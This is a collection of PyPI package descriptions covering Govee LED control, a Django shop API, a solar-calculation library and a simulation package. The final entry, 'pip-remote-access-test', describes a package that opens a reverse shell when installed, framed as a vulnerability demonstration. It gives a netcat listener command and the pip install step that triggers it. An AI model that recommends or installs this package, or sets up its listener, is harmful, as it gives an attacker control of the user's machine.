semvec/pypi-packages huggingface dataset:
govee-led-wez 0.0.15
Control Govee LED lights
Requires Python: >=3.8

# Control Govee LED Lights from Python

This library provides control over Govee-manufactured lights.  @wez built this
for use with Home Assistant. You can [find the corresponding hacs-govee-lan
repo here](https://github.com/wez/govee-lan-hass).

It has an emphasis on making use of their [LAN
API](https://app-h5.govee.com/user-manual/wlan-guide) but also makes use of
their [HTTP
API](https://govee-public.s3.amazonaws.com/developer-docs/GoveeDeveloperAPIReference.pdf)
in order to retrieve the user-assigned names of the devices, and to control the
devices that don't yet support the LAN API.

## Getting Started

```python

from govee_led_wez import GoveeController, GoveeDevice

controller = GoveeController()

def device_changed(device: GoveeDevice):
    print(f"{device.device_id} state -> {device.state}")

controller.set_device_change_callback(device_changed)
if YOUR_API_KEY:
    controller.set_http_api_key(YOUR_API_KEY)
    controller.start_http_poller()
controller.start_lan_poller()

if YOU_WANT_BLE:
    # Optional, if you want bluetooth device control.

    # This will disconnect from devices after they are idle
    # for a while. If you omit this, devices will be disconnected
    # in case of error. You probably want this.
    controller.start_ble_idler()

    # This will look for new devices in the background,
    # by default every 10 minutes
    controller.start_ble_poller()

    # Alternatively: This will look for devices right now,
    # but note that it needs # to perform discovery and can
    # take several seconds
    # await controller.query_ble_devices()

# Devices will now be discovered asynchronously
```

## Notes

*Devices are discovered asynchronously*. While the full set of devices
associated with your account can be returned via the HTTP API, the
initial request for them is made asynchronously by the background
http poller task.  If you need the list immediately, you can call
`controller.query_http_devices()` to obtain that list.

*The HTTP API has some tight rate limits*. This library prefers to avoid
read-after-write operations to verify the state in order to reserve the calls
for issuing commands to your devices.  This means that, for devices that don't
support the LAN API, the assumed state may be a bit wonky until the device
is controlled. You can call `controller.update_device_state()` to
explicitly retrieve the state.

*BLE is preferred over HTTP*. When we know a device is accessible via BLE,
then we will attempt to control it via BLE before trying to use HTTP.
LAN is always attempted first, as it has the lowest latency.

*BLE is currently only usable in conjunction with HTTP and/or LAN discovery*.
There isn't a BLE-only usage at the moment.

# Contributing

A `Makefile` provides shortcuts for doing stuff:

* `make setup` - do one-time setup for developing
* `make check` - performs type checking and linting
* `make test` - runs tests
* `make fmt` - runs code formatting, potentially appeasing `make check`
* `make build` - builds distributable bits

GitHub Actions will run the `check`, `test` and `build` actions on PRs.
drf-shop-api 0.0.3
Standalone shop app, that you can add to your project
Requires Python: >=3.11,<4.0

# Features

Features:

- Products
  - products (multiple images + main image, title, description, etc.)
  - products categories (parent/child categories)
  - product dynamic stats
  - product comments
  - search for products/categories
  - filter for products in the category
- Customers
  - wish lists
  - cart
  - compare lists
  - bonuses wallet
  - customer support request
- Settings
  - taxes
  - currencies
- Orders
  - orders
  - order reports (view and generation of pdf)
  - shipping
  - statuses of order / payment / shipment

## Installation

- Install library

```bash
pip install drf-shop-api
```

- Add to installed apps

  ```python

  INSTALLED_APPS = [
    ...
    'drf_shop_api'
  ]
  ```

- Add api path to you root urls.py

```python
   urlpatterns = [
    ...
    path("shop/", include("drf_shop_api.urls")),
]
```

- Use `create_shop_profile` decorator on create_user method of your UserManager

```python
from django.contrib.auth.base_user import BaseUserManager

from drf_shop_api.decorators import create_shop_profile


class UserManager(BaseUserManager):
    @create_shop_profile
    def create_user(self, email, password=None):
        if not email:
            raise ValueError("Enter the email")
        user = self.model(email=self.normalize_email(email))
        user.set_password(password)
        user.save(using=self._db)
        return user
```

- Setup `AUTH_USER_MODEL` in settings.py

- Run `python manage.py makemigrations` and `python manage.py migrate` (Due to optional Payment model from root project)
- Optional settings:
  - `DRF_SHOP_PAGE_SIZE` on will be default 10
  - `DRF_SHOP_PAYMENT_MODEL` = "projects.payments.models.Payment"
  - `DRF_SHOP_PAYMENT_STATUS_CHOICES` = "project.payments.choices.PaymentStatus"
  - `DRF_SHOP_BONUS_RATE` = percentage value for each order that will go to bonus wallet

## Dependencies

    django
    drf
    drf-yasg 1.21.5
    rest_framework_simplejwt
    mixer
    django-filter

### TODO

- Add DB indexes
- Task for currency rate update
- Review permissions
Daystar 1.0.1
Solar calculation class for Python
Requires Python: >=3.6

# Daystar
Daystar is a python library that provides a convenient class for Solar calculations based off of my other library _Solarflare_. Check out Solarflare at https://pypi.org/project/Solarflare/

In order to use this library, just create an instance of the daystar class:

```python
from Daystar import *
sun = Daystar(latitude, longitude)
```

The functions provided are (they all default to datetime.datetime.now()):
  - `risetime(date)`: returns the sunrise 
  - `settime(date)`: returns the sunset
  - `solarnoon(date)`: returns the solar noon time
  - `hrangle(date)`: returns the hour angle for the time and date
  - `coordinates(date)`: returns a dictionary with declination and right ascension ("dec" and "ra")
  - `mean(date)`: returns the mean anomaly
  - `true(date)`: returns the true anomaly
  - `ceq(date)`: returns the equation of center
  - `solar_julian(date)`: returns "rise" and "set" dictionary with sunrise and sunset julian dates
  - `alt(date)`: returns solar altitude
  - `azi(date)`: returns the solar azimuth
  - `nadir(date)`: returns the time of nadir
LESim 0.0.1
Learning-enabled Simulation
Keywords: python

# Learning-enable Simulation
<img src="https://raw.githubusercontent.com/rahulbhadani/LESim/main/LESim.png" width="600">

# Python Library for Learning-enabled Simulation
[![PyPI Latest Release](https://img.shields.io/pypi/v/ZTF.svg)](https://pypi.org/project/ZTF/)
[![License](https://img.shields.io/pypi/l/ZTF.svg)](https://github.com/rahulbhadani/ZTF/blob/master/LICENSE)


## Installation

```{python}
pip install LESim
```

## Usage


## How to Contribute
Please follow the steps to contribute to the project

- Fork the Github repo
- Clone the repo to your machine
- Make changes, commit and push
- Make pull request for review.

We advise to fetch and merge from upstream before you make a pull request.

## LICENSE
[MIT License](https://github.com/rahulbhadani/LESim/blob/main/LICENSE)


(c) Rahul Bhadani
pip-remote-access-test 0.0.3
To Show the vulnerability of the system
Keywords: python,vulnerability,remoteaccess,sockets

# Explanation:

This is Simple Python Reverse Shell module.
It is show how one can write a exploit and upload a malicious code to pyorg.
If installed how the attacker can get over your machine.

1. First Listen on 1234 port with netcat
`nc -lvp 1234`

2. Install the package 
`pip install pip-remote-access`

#### Demo :
<a href=https://youtu.be/NOoJItXU9ps>
<img src="https://media4.giphy.com/media/GlXNuhLEjIUTAfIVpC/giphy.gif?cid=ecf05e47v0qmxkcev5dyurr35agj868z9j9nt3oglw2ed0k3&rid=giphy.gif&ct=s" width="100" height="50"/>
</a>